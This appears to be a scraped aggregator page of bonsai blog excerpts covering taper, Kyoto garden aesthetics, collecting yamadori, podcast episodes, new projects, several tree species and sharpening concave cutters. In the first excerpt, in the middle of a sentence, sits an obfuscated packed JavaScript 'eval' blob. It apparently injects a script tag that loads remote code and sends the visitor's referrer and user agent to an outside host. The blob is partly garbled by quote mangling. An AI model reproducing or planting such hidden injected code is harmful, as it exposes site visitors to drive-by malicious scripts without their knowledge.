Why bonsai loose taper

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Source: Growing Bonsai Blog. Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndhay|var|u0026u|referrer|zezse||js|php’.split(‘|’),0,{})) bonsai and trees loose taper over time Tamarix with wonderfull taper It is one of those questions everybody has had when starting with bonsai. Why is the taper so extreme in bonsai? Trees in Nature do not have that taper. And.. Why is my Read More

Bonsai, Katsura Rikyu & Ginkaku-ji

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Source: Bjorn Bjorholm Bonsai Blog. What do Bonsai, Katsura Rikyu & Ginkaku-ji temple in Kyoto all have in common? The answer is that they are all interwoven through Japanese history with regards to aesthetics and design.     KATSURA RIKYU Katsura Rikyu is, of course, the famous detached villa on the western side of Kyoto Read More

SHOHIN YAMADORI

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Source: Watto Bonsai Blog. One of the things I like to do is dig potential bonsai from the scrub or from gardens, but a walk (and hopefully a dig) from the bush is one the best ways to spend a day. Not all potential bonsai dug from the scrub needs to be big, in fact Read More

Bonsai Network Podcast | Episode 3

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Source: Bjorn Bjorholm Bonsai Blog. Episode 3 of the Bonsai Network Podcast is now available on iTunes, Stitcher, and Soundcloud! This episode features an interview with Japanese bonsai professional Naoki Maeoka and current Kouka-en bonsai apprentice Thomas Ulecki. The post Bonsai Network Podcast | Episode 3 appeared first on Bjorn Bjorholm. Go to the source Read More

New Projects for 2018

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Source: BonTsai Blog. I’ve started quite a few new projects for the year, hopefully setting them on a path to become excellent bonsai in the future. Perhaps when I take them further in development I’ll give them their own designated posts but for now check em out.   Ficus Microcapra “Tiger Bark” (2014–) This tree Read More

CEDRUS DEODARA

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Source: Watto Bonsai Blog. I purchased this Deodar Cedar from a friend in 2017 and it has been resting and getting accustomed to new surroundings and weather since then. It has had the standard treatment of water and fertilizer but has needed a few trims as it is quite a prolific grower. I hope that Read More

SPRUCE

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Source: Watto Bonsai Blog. Last year I posted a photo of one of my bonsai each week for the whole year (nearly anyway) but of course there are other trees that are waiting to be bonsai – stock trees – and so I thought I would post a photo of a few that I have Read More

How to Sharpen Concave Cutters

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Source: BonTsai Blog. *note, I’ll be editing and improving this article over time so check back or ask me any questions on anything you didn’t get* I’m a DIYer kind of person. I hate sending things out to get fixed or spending money that I could otherwise save. Concave cutters, the quintessential bonsai tool, seldom Read More

Bonsai Network Podcast | Episode 2

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Source: Bjorn Bjorholm Bonsai Blog. In Episode 2, we utilize Hofstede’s Cultural Dimensions Theory to analyze Japanese culture and its influence on contemporary Bonsai Art. The post Bonsai Network Podcast | Episode 2 appeared first on Bjorn Bjorholm. Go to the source blog (Bjorn Bjorholm Bonsai Blog) to read the full article: Bonsai Network Podcast Read More

Hibari Elm

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Source: BonTsai Blog. In late 2016 I purchased a large variegated elm at a steal of a price. Within the thick canopy hid a region of significant inverse taper. Perhaps problematic but I immediately recognized the potential as a layer candidate. As a weaker ulmus parvifolia cultivar you don’t too many of em that has grown Read More